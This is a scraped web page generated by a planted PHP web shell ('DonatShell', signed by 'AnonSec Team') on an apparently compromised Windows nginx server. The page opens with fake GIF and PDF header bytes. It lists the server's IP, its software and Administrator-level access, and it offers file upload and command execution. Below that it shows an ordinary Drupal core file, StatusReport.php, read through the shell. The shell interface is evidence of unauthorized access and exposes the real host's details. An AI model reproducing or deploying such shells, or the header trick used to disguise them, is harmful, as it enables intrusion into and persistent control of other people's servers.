GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 134.29.175.74  /  Your IP : 216.73.216.160
Web Server : nginx/1.10.2
System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586
User : Administrator ( 0)
PHP Version : 7.1.0
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /nginx/html/Student/JimMartinson/Lab12/drupal/core/lib/Drupal/Core/Render/Element/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /nginx/html/Student/JimMartinson/Lab12/drupal/core/lib/Drupal/Core/Render/Element/StatusReport.php
<?php

namespace Drupal\Core\Render\Element;

/**
 * Creates status report page element.
 *
 * @RenderElement("status_report")
 */
class StatusReport extends RenderElement {

  /**
   * {@inheritdoc}
   */
  public function getInfo() {
    $class = get_class($this);
    return [
      '#theme' => 'status_report_grouped',
      '#priorities' => [
        'error',
        'warning',
        'checked',
        'ok',
      ],
      '#pre_render' => [
        [$class, 'preRenderGroupRequirements'],
      ],
    ];
  }

  /**
   * #pre_render callback to group requirements.
   */
  public static function preRenderGroupRequirements($element) {
    $severities = static::getSeverities();
    $grouped_requirements = [];
    foreach ($element['#requirements'] as $key => $requirement) {
      $severity = $severities[REQUIREMENT_INFO];
      if (isset($requirement['severity'])) {
        $requirement_severity = (int) $requirement['severity'] === REQUIREMENT_OK ? REQUIREMENT_INFO : (int) $requirement['severity'];
        $severity = $severities[$requirement_severity];
      }
      elseif (defined('MAINTENANCE_MODE') && MAINTENANCE_MODE == 'install') {
        $severity = $severities[REQUIREMENT_OK];
      }

      $grouped_requirements[$severity['status']]['title'] = $severity['title'];
      $grouped_requirements[$severity['status']]['type'] = $severity['status'];
      $grouped_requirements[$severity['status']]['items'][$key] = $requirement;
    }

    // Order the grouped requirements by a set order.
    $order = array_flip($element['#priorities']);
    uksort($grouped_requirements, function ($a, $b) use ($order) {
      return $order[$a] > $order[$b];
    });

    $element['#grouped_requirements'] = $grouped_requirements;

    return $element;
  }

  /**
   * Gets the severities.
   *
   * @return array
   */
  public static function getSeverities() {
    return [
      REQUIREMENT_INFO => [
        'title' => t('Checked'),
        'status' => 'checked',
      ],
      REQUIREMENT_OK => [
        'title' => t('OK'),
        'status' => 'ok',
      ],
      REQUIREMENT_WARNING => [
        'title' => t('Warnings found'),
        'status' => 'warning',
      ],
      REQUIREMENT_ERROR => [
        'title' => t('Errors found'),
        'status' => 'error',
      ],
    ];
  }

}

Anon7 - 2022
AnonSec Team